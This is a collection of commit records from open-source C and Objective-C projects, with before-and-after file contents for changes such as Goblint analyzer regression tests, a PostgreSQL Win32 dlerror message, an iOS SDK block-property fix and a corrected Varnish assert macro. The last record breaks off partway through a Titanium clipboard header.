{"commit":"122ce2d8c7e7d28a76c43d665c206f03876e2541","old_file":"tests\/regression\/13-privatized\/18-first-reads.c","new_file":"tests\/regression\/13-privatized\/18-first-reads.c","old_contents":"\/\/ PARAM: --set ana.int.interval true --set solver \"'td3'\"\n#include<pthread.h>\n#include<assert.h>\n\nint glob1 = 0;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int t;\n  pthread_mutex_lock(&mutex1);\n  if(t == 42) {\n      glob1 = 1;\n  }\n  t = glob1;\n\n  assert(t == 0); \/\/UNKNOWN\n\n  assert(t == 1); \/\/UNKNOWN\n\n  glob1 = 0;\n\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  assert(glob1 == 0);\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex1);\n  assert(glob1 == 0);\n  pthread_mutex_unlock(&mutex1);\n  pthread_join (id, NULL);\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --set ana.int.interval true --set solver \"'td3'\"\n#include<pthread.h>\n#include<assert.h>\n\nint glob1 = 0;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int t;\n  pthread_mutex_lock(&mutex1);\n  if(t == 42) {\n      glob1 = 1;\n  }\n  t = glob1;\n\n  assert(t == 0); \/\/UNKNOWN!\n\n  assert(t == 1); \/\/UNKNOWN!\n\n  glob1 = 0;\n\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  assert(glob1 == 0);\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex1);\n  assert(glob1 == 0);\n  pthread_mutex_unlock(&mutex1);\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Add exclamation mark to unknown to indicate it should always be unknown","message":"Add exclamation mark to unknown to indicate it should always be unknown\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bbab158f09e5fd125ec2558bfa319f78e96e13ac","old_file":"a_filter.h","new_file":"a_filter.h","old_contents":"#ifndef A_FILTER_HDR\n#define A_FILTER_HDR\n#include \"u_vector.h\"\n\nnamespace a {\n\nstruct source;\n\nstruct filterInstance {\n    virtual void filter(float *buffer, size_t samples, bool strero, float sampleRate) = 0;\n    virtual ~filterInstance();\n};\n\nstruct filter {\n    virtual void init(source *);\n    virtual filterInstance *create() = 0;\n    virtual ~filter();\n};\n\nstruct echoFilter;\n\nstruct echoFilterInstance : filterInstance {\n    virtual void filter(float *buffer, size_t samples, bool stereo, float sampleRate);\n    virtual ~echoFilterInstance();\n    echoFilterInstance(echoFilter *parent);\n\nprivate:\n    u::vector<float> m_buffer;\n    echoFilter *m_parent;\n    size_t m_offset;\n};\n\nstruct echoFilter : filter {\n    virtual void init(source *sourcer_);\n    virtual filterInstance *create();\n    echoFilter();\n    void setParams(float delay, float decay);\n\nprivate:\n    friend struct echoFilterInstance;\n    float m_delay;\n    float m_decay;\n};\n\n}\n\n#endif\n","new_contents":"#ifndef A_FILTER_HDR\n#define A_FILTER_HDR\n#include \"u_vector.h\"\n\nnamespace a {\n\nstruct source;\n\nstruct filterInstance {\n    virtual void filter(float *buffer, size_t samples, bool strero, float sampleRate) = 0;\n    virtual ~filterInstance();\n};\n\nstruct filter {\n    virtual void init(source *audioSource);\n    virtual filterInstance *create() = 0;\n    virtual ~filter();\n};\n\nstruct echoFilter;\n\nstruct echoFilterInstance : filterInstance {\n    virtual void filter(float *buffer, size_t samples, bool stereo, float sampleRate);\n    virtual ~echoFilterInstance();\n    echoFilterInstance(echoFilter *parent);\n\nprivate:\n    u::vector<float> m_buffer;\n    echoFilter *m_parent;\n    size_t m_offset;\n};\n\nstruct echoFilter : filter {\n    virtual void init(source *sourcer_);\n    virtual filterInstance *create();\n    echoFilter();\n    void setParams(float delay, float decay);\n\nprivate:\n    friend struct echoFilterInstance;\n    float m_delay;\n    float m_decay;\n};\n\n}\n\n#endif\n","subject":"Revert \"Testing GPG key on github\"","message":"Revert \"Testing GPG key on github\"\n\nThis reverts commit 22b0c196d0aa47ffbd016da66e98207b80bcdc82.\n","lang":"C","license":"mit","repos":"graphitemaster\/neothyne,graphitemaster\/neothyne"}
{"commit":"38a54eca96dcfcef1bf1d921b5ac8d52feeb5431","old_file":"tests\/regression\/01-cpa\/45-float.c","new_file":"tests\/regression\/01-cpa\/45-float.c","old_contents":"\/\/ PARAM: --enable ana.int.interval --enable ana.int.def_exc --enable ana.sv-comp.functions --set ana.activated[+] var_eq --set ana.activated[+] region\n#include <goblint.h>\n\nint isNan(float arg) {\n    float x;\n    return arg != arg;\n}\n\nint main(){\n    struct blub { float f; } s;\n    float fs[3];\n\n    float top;\n    \/\/ float may be NaN here, therefore the comaprison should be unknown\n    __goblint_check(top == top); \/\/UNKNOWN!\n    __goblint_check(s.f == s.f); \/\/UNKNOWN!\n    __goblint_check(fs[1] == fs[1]); \/\/UNKNOWN!\n\n    int r = isNan(top);\n\n    if(r) {\n        __goblint_check(1);\n    } else {\n        __goblint_check(1);\n    }\n }\n","new_contents":"\/\/ PARAM: --enable ana.int.interval --enable ana.int.def_exc --enable ana.sv-comp.functions --set ana.activated[+] var_eq --set ana.activated[+] region\n#include <goblint.h>\n\nint isNan(float arg) {\n    float x;\n    return arg != arg;\n}\n\nint main(){\n    struct blub { float f; } s;\n    float fs[3];\n\n    float top;\n    \/\/ float may be NaN here, therefore the comaprison should be unknown\n    __goblint_check(top == top); \/\/UNKNOWN!\n    __goblint_check(s.f == s.f); \/\/UNKNOWN!\n    __goblint_check(fs[1] == fs[1]); \/\/UNKNOWN!\n\n    int r = isNan(top);\n\n    if(r) {\n        __goblint_check(1);\n    } else {\n        __goblint_check(1);\n    }\n\n    float *p = &top;\n    float *q = &fs;\n    __goblint_check(*p == *p); \/\/UNKNOWN!\n    __goblint_check(q[1] == q[1]); \/\/UNKNOWN!\n    return 0;\n}\n","subject":"Add test for var_eq unsoundness with dereferenced floats","message":"Add test for var_eq unsoundness with dereferenced floats\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d76589114d1723bb0cb666dcb70058b74052e63b","old_file":"src\/backend\/port\/dynloader\/win32.c","new_file":"src\/backend\/port\/dynloader\/win32.c","old_contents":"\/* $PostgreSQL: pgsql\/src\/backend\/port\/dynloader\/win32.c,v 1.4 2004\/11\/17 08:30:08 neilc Exp $ *\/\n\n#include <windows.h>\n\nchar *dlerror(void);\nint dlclose(void *handle);\nvoid *dlsym(void *handle, const char *symbol);\nvoid *dlopen(const char *path, int mode);\n\nchar *\ndlerror(void)\n{\n\treturn \"error\";\n}\n\nint\ndlclose(void *handle)\n{\n\treturn FreeLibrary((HMODULE) handle) ? 0 : 1;\n}\n\nvoid *\ndlsym(void *handle, const char *symbol)\n{\n\treturn (void *) GetProcAddress((HMODULE) handle, symbol);\n}\n\nvoid *\ndlopen(const char *path, int mode)\n{\n\treturn (void *) LoadLibrary(path);\n}\n","new_contents":"\/* $PostgreSQL: pgsql\/src\/backend\/port\/dynloader\/win32.c,v 1.5 2004\/12\/02 19:38:50 momjian Exp $ *\/\n\n#include <windows.h>\n\nchar *dlerror(void);\nint dlclose(void *handle);\nvoid *dlsym(void *handle, const char *symbol);\nvoid *dlopen(const char *path, int mode);\n\nchar *\ndlerror(void)\n{\n\treturn \"dynamic load error\";\n}\n\nint\ndlclose(void *handle)\n{\n\treturn FreeLibrary((HMODULE) handle) ? 0 : 1;\n}\n\nvoid *\ndlsym(void *handle, const char *symbol)\n{\n\treturn (void *) GetProcAddress((HMODULE) handle, symbol);\n}\n\nvoid *\ndlopen(const char *path, int mode)\n{\n\treturn (void *) LoadLibrary(path);\n}\n","subject":"Change Win32 dlerror message to:","message":"Change Win32 dlerror message to:\n\n\treturn \"dynamic loading error\";\n","lang":"C","license":"mpl-2.0","repos":"yazun\/postgres-xl,randomtask1155\/gpdb,janebeckman\/gpdb,snaga\/postgres-xl,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,rvs\/gpdb,techdragon\/Postgres-XL,adam8157\/gpdb,xuegang\/gpdb,ashwinstar\/gpdb,foyzur\/gpdb,snaga\/postgres-xl,zeroae\/postgres-xl,lintzc\/gpdb,edespino\/gpdb,50wu\/gpdb,arcivanov\/postgres-xl,Chibin\/gpdb,yuanzhao\/gpdb,postmind-net\/postgres-xl,0x0FFF\/gpdb,foyzur\/gpdb,snaga\/postgres-xl,greenplum-db\/gpdb,0x0FFF\/gpdb,jmcatamney\/gpdb,ovr\/postgres-xl,janebeckman\/gpdb,kaknikhil\/gpdb,ahachete\/gpdb,ashwinstar\/gpdb,rubikloud\/gpdb,royc1\/gpdb,lintzc\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,lintzc\/gpdb,edespino\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,zaksoup\/gpdb,janebeckman\/gpdb,ahachete\/gpdb,Quikling\/gpdb,CraigHarris\/gpdb,Chibin\/gpdb,royc1\/gpdb,Quikling\/gpdb,jmcatamney\/gpdb,xinzweb\/gpdb,yuanzhao\/gpdb,tangp3\/gpdb,kaknikhil\/gpdb,postmind-net\/postgres-xl,Quikling\/gpdb,kmjungersen\/PostgresXL,janebeckman\/gpdb,Chibin\/gpdb,zaksoup\/gpdb,rvs\/gpdb,Quikling\/gpdb,CraigHarris\/gpdb,Chibin\/gpdb,cjcjameson\/gpdb,chrishajas\/gpdb,foyzur\/gpdb,yazun\/postgres-xl,edespino\/gpdb,yuanzhao\/gpdb,lpetrov-pivotal\/gpdb,lisakowen\/gpdb,yuanzhao\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,chrishajas\/gpdb,xinzweb\/gpdb,tangp3\/gpdb,yazun\/postgres-xl,lisakowen\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,xuegang\/gpdb,kmjungersen\/PostgresXL,xinzweb\/gpdb,jmcatamney\/gpdb,yuanzhao\/gpdb,kmjungersen\/PostgresXL,janebeckman\/gpdb,zeroae\/postgres-xl,atris\/gpdb,adam8157\/gpdb,50wu\/gpdb,Chibin\/gpdb,tpostgres-projects\/tPostgres,0x0FFF\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,foyzur\/gpdb,oberstet\/postgres-xl,foyzur\/gpdb,cjcjameson\/gpdb,Postgres-XL\/Postgres-XL,ahachete\/gpdb,ashwinstar\/gpdb,zeroae\/postgres-xl,janebeckman\/gpdb,lisakowen\/gpdb,royc1\/gpdb,lintzc\/gpdb,Quikling\/gpdb,tangp3\/gpdb,jmcatamney\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,xuegang\/gpdb,ovr\/postgres-xl,janebeckman\/gpdb,xuegang\/gpdb,pavanvd\/postgres-xl,Postgres-XL\/Postgres-XL,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,yazun\/postgres-xl,oberstet\/postgres-xl,yuanzhao\/gpdb,Chibin\/gpdb,rvs\/gpdb,arcivanov\/postgres-xl,xinzweb\/gpdb,ovr\/postgres-xl,yuanzhao\/gpdb,ahachete\/gpdb,techdragon\/Postgres-XL,royc1\/gpdb,tangp3\/gpdb,royc1\/gpdb,postmind-net\/postgres-xl,cjcjameson\/gpdb,oberstet\/postgres-xl,postmind-net\/postgres-xl,Postgres-XL\/Postgres-XL,tpostgres-projects\/tPostgres,ashwinstar\/gpdb,50wu\/gpdb,cjcjameson\/gpdb,rubikloud\/gpdb,rubikloud\/gpdb,edespino\/gpdb,greenplum-db\/gpdb,snaga\/postgres-xl,randomtask1155\/gpdb,50wu\/gpdb,oberstet\/postgres-xl,rubikloud\/gpdb,ahachete\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,zeroae\/postgres-xl,Chibin\/gpdb,lpetrov-pivotal\/gpdb,edespino\/gpdb,greenplum-db\/gpdb,kaknikhil\/gpdb,techdragon\/Postgres-XL,ashwinstar\/gpdb,chrishajas\/gpdb,ovr\/postgres-xl,cjcjameson\/gpdb,atris\/gpdb,CraigHarris\/gpdb,50wu\/gpdb,lpetrov-pivotal\/gpdb,randomtask1155\/gpdb,tpostgres-projects\/tPostgres,adam8157\/gpdb,arcivanov\/postgres-xl,chrishajas\/gpdb,lisakowen\/gpdb,chrishajas\/gpdb,greenplum-db\/gpdb,zaksoup\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,ovr\/postgres-xl,jmcatamney\/gpdb,rvs\/gpdb,jmcatamney\/gpdb,greenplum-db\/gpdb,CraigHarris\/gpdb,atris\/gpdb,pavanvd\/postgres-xl,50wu\/gpdb,CraigHarris\/gpdb,xuegang\/gpdb,Quikling\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,zeroae\/postgres-xl,royc1\/gpdb,ahachete\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,rvs\/gpdb,rubikloud\/gpdb,janebeckman\/gpdb,0x0FFF\/gpdb,xuegang\/gpdb,zaksoup\/gpdb,atris\/gpdb,zaksoup\/gpdb,foyzur\/gpdb,techdragon\/Postgres-XL,lpetrov-pivotal\/gpdb,randomtask1155\/gpdb,ahachete\/gpdb,edespino\/gpdb,CraigHarris\/gpdb,tangp3\/gpdb,lpetrov-pivotal\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,rubikloud\/gpdb,xuegang\/gpdb,pavanvd\/postgres-xl,atris\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,kmjungersen\/PostgresXL,Chibin\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,ahachete\/gpdb,tangp3\/gpdb,zaksoup\/gpdb,tangp3\/gpdb,0x0FFF\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,edespino\/gpdb,yazun\/postgres-xl,janebeckman\/gpdb,oberstet\/postgres-xl,jmcatamney\/gpdb,rvs\/gpdb,Postgres-XL\/Postgres-XL,rvs\/gpdb,ashwinstar\/gpdb,CraigHarris\/gpdb,xuegang\/gpdb,Quikling\/gpdb,ashwinstar\/gpdb,edespino\/gpdb,0x0FFF\/gpdb,lpetrov-pivotal\/gpdb,adam8157\/gpdb,randomtask1155\/gpdb,foyzur\/gpdb,arcivanov\/postgres-xl,50wu\/gpdb,lintzc\/gpdb,rvs\/gpdb,tangp3\/gpdb,CraigHarris\/gpdb,snaga\/postgres-xl,kaknikhil\/gpdb,lintzc\/gpdb,edespino\/gpdb,foyzur\/gpdb,atris\/gpdb,tpostgres-projects\/tPostgres,cjcjameson\/gpdb,lintzc\/gpdb,xinzweb\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,edespino\/gpdb,lintzc\/gpdb,kaknikhil\/gpdb,50wu\/gpdb,0x0FFF\/gpdb,0x0FFF\/gpdb,yuanzhao\/gpdb,lintzc\/gpdb,arcivanov\/postgres-xl,yuanzhao\/gpdb,zaksoup\/gpdb,adam8157\/gpdb,atris\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,postmind-net\/postgres-xl,kmjungersen\/PostgresXL,arcivanov\/postgres-xl,adam8157\/gpdb,randomtask1155\/gpdb,zaksoup\/gpdb,yuanzhao\/gpdb,adam8157\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,atris\/gpdb,Postgres-XL\/Postgres-XL,techdragon\/Postgres-XL,pavanvd\/postgres-xl,chrishajas\/gpdb"}
{"commit":"b153f8ccec59da5debbb88c74a74a66f3e3b1fb5","old_file":"samples\/Scrumptious\/scrumptious\/SCMealViewController.h","new_file":"samples\/Scrumptious\/scrumptious\/SCMealViewController.h","old_contents":"\/*\n * Copyright 2012 Facebook\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#import <UIKit\/UIKit.h>\n#import \"SCViewController.h\"\n\n@interface SCMealViewController : UIViewController\n\n@property (strong, nonatomic) SelectItemCallback selectItemCallback;\n\n@end\n","new_contents":"\/*\n * Copyright 2012 Facebook\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#import <UIKit\/UIKit.h>\n#import \"SCViewController.h\"\n\n@interface SCMealViewController : UIViewController\n\n@property (copy, nonatomic) SelectItemCallback selectItemCallback;\n\n@end\n","subject":"Fix crash in Scrumptious app.","message":"[ios-sdk] Fix crash in Scrumptious app.\n\nSummary:\nFixed inconsistent crash in Scrumptious. Blocks need to be copied, not retained.\nThanks to jacl for finding this.\n\nTest Plan: - jacl was able to repro on his simulator. Had him try this change, did not repro.\n\nReviewers: jacl, mmarucheck, gregschechte\n\nReviewed By: mmarucheck\n\nDifferential Revision: https:\/\/phabricator.fb.com\/D478984\n\nTask ID: 1074314\n","lang":"C","license":"apache-2.0","repos":"hibu\/facebook-ios-sdk,wooga\/facebook-ios-sdk,TimeIncOSS\/facebook-ios-sdk,ArtLapitski\/facebook-ios-sdk,ArtLapitski\/facebook-ios-sdk,wooga\/facebook-ios-sdk,flovilmart\/facebook-ios-sdk,1234-\/facebook-ios-sdk,hibu\/facebook-ios-sdk,Citrrus\/facebook-ios-sdk,ShareKit\/facebook-ios-sdk,hibu\/facebook-ios-sdk,hibu\/facebook-ios-sdk,anthonylai\/facebook-ios-sdk,anthonylai\/facebook-ios-sdk,1234-\/facebook-ios-sdk,anthonylai\/facebook-ios-sdk,flovilmart\/facebook-ios-sdk,TimeIncOSS\/facebook-ios-sdk,beamly\/facebook-ios-sdk,tipbit\/facebook-ios-sdk,Subsplash\/facebook-ios-sdk,ArtLapitski\/facebook-ios-sdk,flovilmart\/facebook-ios-sdk,ArtLapitski\/facebook-ios-sdk,Subsplash\/facebook-ios-sdk,wooga\/facebook-ios-sdk,Citrrus\/facebook-ios-sdk,FiftyThree\/facebook-ios-sdk,shepting\/facebook-ios-sdk,Amnysia\/facebook-ios-sdk,beamly\/facebook-ios-sdk,1234-\/facebook-ios-sdk,shepting\/facebook-ios-sdk,1234-\/facebook-ios-sdk,1234-\/facebook-ios-sdk,tipbit\/facebook-ios-sdk,ShareKit\/facebook-ios-sdk,FiftyThree\/facebook-ios-sdk,FiftyThree\/facebook-ios-sdk,shepting\/facebook-ios-sdk,tipbit\/facebook-ios-sdk,TimeIncOSS\/facebook-ios-sdk,shepting\/facebook-ios-sdk,taptaptap\/facebook-ios-sdk,shepting\/facebook-ios-sdk,ShareKit\/facebook-ios-sdk,taptaptap\/facebook-ios-sdk,beamly\/facebook-ios-sdk,flovilmart\/facebook-ios-sdk,Subsplash\/facebook-ios-sdk,Citrrus\/facebook-ios-sdk,Amnysia\/facebook-ios-sdk,taptaptap\/facebook-ios-sdk,hibu\/facebook-ios-sdk,Amnysia\/facebook-ios-sdk,flovilmart\/facebook-ios-sdk"}
{"commit":"227330943676f1dc888d74fddcade8964d82faba","old_file":"server\/src\/apache\/analyzer\/detail\/session_length.h","new_file":"server\/src\/apache\/analyzer\/detail\/session_length.h","old_contents":"\/*\n * Copyright 2016 Adam Chyła, adam@chyla.org\n * All rights reserved. Distributed under the terms of the MIT License.\n *\/\n\n#pragma once\n\nnamespace apache\n{\n\nnamespace analyzer\n{\n\nnamespace detail\n{\n\nconstexpr int SESSION_LENGTH = 60;\n\n}\n\n}\n\n}\n","new_contents":"\/*\n * Copyright 2016 Adam Chyła, adam@chyla.org\n * All rights reserved. Distributed under the terms of the MIT License.\n *\/\n\n#pragma once\n\nnamespace apache\n{\n\nnamespace analyzer\n{\n\nnamespace detail\n{\n\nconstexpr int SESSION_LENGTH = 3600;\n\n}\n\n}\n\n}\n","subject":"Change session length to 1h","message":"Change session length to 1h\n","lang":"C","license":"mit","repos":"chyla\/slas,chyla\/slas,chyla\/slas,chyla\/pat-lms,chyla\/slas,chyla\/slas,chyla\/slas,chyla\/pat-lms,chyla\/pat-lms,chyla\/pat-lms,chyla\/slas,chyla\/pat-lms,chyla\/pat-lms,chyla\/pat-lms"}
{"commit":"be6f28f28b57e912df6c276060bc38e7912a2262","old_file":"C\/mwt.c","new_file":"C\/mwt.c","old_contents":"#include<stdio.h>\n#include<stdlib.h>\n\nint main (int argc, char *argv[]){\n    if(argc != 3){\n        printf(\"Number of parameters should be 2 (filename, cardinality).\");\n        exit(1);\n    }\n\n    \/\/open file and get file length\n    FILE *file;\n    file = fopen(argv[1],\"r\");\n    if(file == NULL){\n        printf(\"File couldn't be opened.\");\n        exit(1);\n    }\n    fseek(file, 0, SEEK_END);\n    int fileLength = ftell(file);\n    fseek(file, 0, SEEK_SET);\n\n    \/\/save data from file to array\n    char inputStream[fileLength];\n    \/\/printf(\"length: %d \\n\", fileLength);\n    int i = 0;\n    int character;\n    while((character = fgetc(file)) != EOF){\n            inputStream[i] = character;\n            i++;\n            }\n    \/*int j;\n    for(j=0; j < fileLength; j++){\n        char a = inputStream[j];\n        printf(\"Znak: %c \\n\", a);\n    }*\/\n\n    fclose(file);\n}\n","new_contents":"#include<stdio.h>\n#include<stdlib.h>\n#include<math.h>\n\nint main (int argc, char *argv[]){\n    if(argc != 3){\n        printf(\"Number of parameters should be 2 (filename, arity).\");\n        exit(1);\n    }\n\n    int alphabet[128] = {0};\n    int arity = atoi(argv[2]);\n    int treeLayers = ceil(7\/log2(arity));\n    printf(\"Number of layers: %d \\n\", treeLayers);\n\n    \/\/open file and get file length\n    FILE *file;\n    file = fopen(argv[1],\"r\");\n    if(file == NULL){\n        printf(\"File couldn't be opened.\");\n        exit(1);\n    }\n    fseek(file, 0, SEEK_END);\n    int fileLength = ftell(file);\n    fseek(file, 0, SEEK_SET);\n\n    \/\/save data from file to array\n    char inputStream[fileLength];\n    printf(\"length: %d \\n\", fileLength);\n    int i = 0;\n    int character;\n    int numOfChar = 0;\n    while((character = fgetc(file)) != EOF){\n            inputStream[i] = character;\n            if(alphabet[character]==0){\n                alphabet[character]=1;\n                numOfChar++;\n            }\n            i++;\n            }\n\n    char charOfAlphabet[numOfChar];\n    int j;\n    int k = 0;\n    for (j = 0; j < 128; j++){\n        if(alphabet[j]==1){\n            charOfAlphabet[k] = j;\n            k++;\n        }\n    }\n    \/\/for(j=0; j < fileLength; j++){\n      \/\/  int a = inputStream[j];\n        \/\/printf(\"Znak: %d \\n\", a);\n    \/\/}\n\n    fclose(file);\n}\n","subject":"Define alphabet and number of tree layers","message":"Define alphabet and number of tree layers\n","lang":"C","license":"mit","repos":"marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree,marijanaSpajic\/multiary_wavelet_tree"}
{"commit":"e10ab25f34927dedde7ad7621d9767b8ab76b857","old_file":"include\/libvarnish.h","new_file":"include\/libvarnish.h","old_contents":"\/*\n * $Id$\n *\/\n\n#include <errno.h>\n#include <time.h>\n\n\/* from libvarnish\/argv.c *\/\nvoid FreeArgv(char **argv);\nchar **ParseArgv(const char *s, int comment);\n\n\/* from libvarnish\/time.c *\/\nvoid TIM_format(time_t t, char *p);\ntime_t TIM_parse(const char *p);\n\n\/* from libvarnish\/version.c *\/\nvoid varnish_version(const char *);\n\n\/* from libvarnish\/assert.c *\/\n#ifdef WITHOUT_ASSERTS\n#define assert(e)\t((void)0)\n#else \/* WITH_ASSERTS *\/\n#define assert(e)\t\t\t\t\t\t\t\\\ndo { \t\t\t\t\t\t\t\t\t\\\n\tif (e)\t\t\t\t\t\t\t\t\\\n\t\tlbv_assert(__func__, __FILE__, __LINE__, #e, errno);\t\\\n} while (0)\n#endif\n\nvoid lbv_assert(const char *, const char *, int, const char *, int);\n\n\/* Assert zero return value *\/\n#define AZ(foo)\tdo { assert((foo) == 0); } while (0)\n","new_contents":"\/*\n * $Id$\n *\/\n\n#include <errno.h>\n#include <time.h>\n\n\/* from libvarnish\/argv.c *\/\nvoid FreeArgv(char **argv);\nchar **ParseArgv(const char *s, int comment);\n\n\/* from libvarnish\/time.c *\/\nvoid TIM_format(time_t t, char *p);\ntime_t TIM_parse(const char *p);\n\n\/* from libvarnish\/version.c *\/\nvoid varnish_version(const char *);\n\n\/* from libvarnish\/assert.c *\/\n#ifdef WITHOUT_ASSERTS\n#define assert(e)\t((void)0)\n#else \/* WITH_ASSERTS *\/\n#define assert(e)\t\t\t\t\t\t\t\\\ndo { \t\t\t\t\t\t\t\t\t\\\n\tif (!(e))\t\t\t\t\t\t\t\\\n\t\tlbv_assert(__func__, __FILE__, __LINE__, #e, errno);\t\\\n} while (0)\n#endif\n\nvoid lbv_assert(const char *, const char *, int, const char *, int);\n\n\/* Assert zero return value *\/\n#define AZ(foo)\tdo { assert((foo) == 0); } while (0)\n","subject":"Make assert do the right thing","message":"Make assert do the right thing\n\n\ngit-svn-id: 2c9807fa3ff65b17195bd55dc8a6c4261e10127b@745 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"alarky\/varnish-cache-doc-ja,mrhmouse\/Varnish-Cache,drwilco\/varnish-cache-drwilco,ajasty-cavium\/Varnish-Cache,franciscovg\/Varnish-Cache,ambernetas\/varnish-cache,drwilco\/varnish-cache-drwilco,alarky\/varnish-cache-doc-ja,ssm\/pkg-varnish,ambernetas\/varnish-cache,drwilco\/varnish-cache-drwilco,gauthier-delacroix\/Varnish-Cache,zhoualbeart\/Varnish-Cache,ssm\/pkg-varnish,varnish\/Varnish-Cache,feld\/Varnish-Cache,ssm\/pkg-varnish,zhoualbeart\/Varnish-Cache,wikimedia\/operations-debs-varnish,varnish\/Varnish-Cache,feld\/Varnish-Cache,gquintard\/Varnish-Cache,1HLtd\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,franciscovg\/Varnish-Cache,gquintard\/Varnish-Cache,alarky\/varnish-cache-doc-ja,1HLtd\/Varnish-Cache,drwilco\/varnish-cache-old,alarky\/varnish-cache-doc-ja,ajasty-cavium\/Varnish-Cache,mrhmouse\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,wikimedia\/operations-debs-varnish,zhoualbeart\/Varnish-Cache,chrismoulton\/Varnish-Cache,wikimedia\/operations-debs-varnish,feld\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,drwilco\/varnish-cache-old,varnish\/Varnish-Cache,drwilco\/varnish-cache-old,ajasty-cavium\/Varnish-Cache,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,1HLtd\/Varnish-Cache,zhoualbeart\/Varnish-Cache,chrismoulton\/Varnish-Cache,ambernetas\/varnish-cache,franciscovg\/Varnish-Cache,feld\/Varnish-Cache,gquintard\/Varnish-Cache,mrhmouse\/Varnish-Cache,1HLtd\/Varnish-Cache,varnish\/Varnish-Cache,franciscovg\/Varnish-Cache,varnish\/Varnish-Cache,chrismoulton\/Varnish-Cache,ssm\/pkg-varnish,ajasty-cavium\/Varnish-Cache,mrhmouse\/Varnish-Cache,gquintard\/Varnish-Cache,chrismoulton\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,mrhmouse\/Varnish-Cache,chrismoulton\/Varnish-Cache,alarky\/varnish-cache-doc-ja,ssm\/pkg-varnish,feld\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,franciscovg\/Varnish-Cache,zhoualbeart\/Varnish-Cache"}
{"commit":"ada69b77fe10201624c94742c0a46b52136e253b","old_file":"iphone\/Classes\/TiUIClipboardProxy.h","new_file":"iphone\/Classes\/TiUIClipboardProxy.h","old_contents":"\/**\n * Appcelerator Titanium Mobile\n * Copyright (c) 2009-2010 by Appcelerator, Inc. All Rights Reserved.\n * Licensed under the terms of the Apache Public License\n * Please see the LICENSE included with this distribution for details.\n *\/\n\n#import \"TiProxy.h\"\n\n@interface TiUIClipboardProxy : TiProxy {\n@private\n}\n\n#pragma mark internal\n-(BOOL)hasData_:(NSString *)mimeType;\n-(id)getData_:(NSString *)mimeType;\n\n-(void)clearData:(id)args;\n-(void)clearText:(id)args;\n-(id)getData:(id)args;\n-(NSString *)getText:(id)args;\n-(BOOL)hasData:(id)args;\n-(BOOL)hasText:(id)args;\n-(void)setData:(id)args;\n-(void)setText:(id)args;\n\n@end\n","new_contents":"\/**\n * Appcelerator Titanium Mobile\n * Copyright (c) 2009-2010 by Appcelerator, Inc. All Rights Reserved.\n * Licensed under the terms of the Apache Public License\n * Please see the LICENSE included with this distribution for details.\n *\/\n\n#import \"TiProxy.h\"\n\n@interface TiUIClipboardProxy : TiProxy {\n@private\n}\n\n#pragma mark internal\n-(id)getData_:(NSString *)mimeType;\n\n-(void)clearData:(id)args;\n-(void)clearText:(id)args;\n-(id)getData:(id)args;\n-(NSString 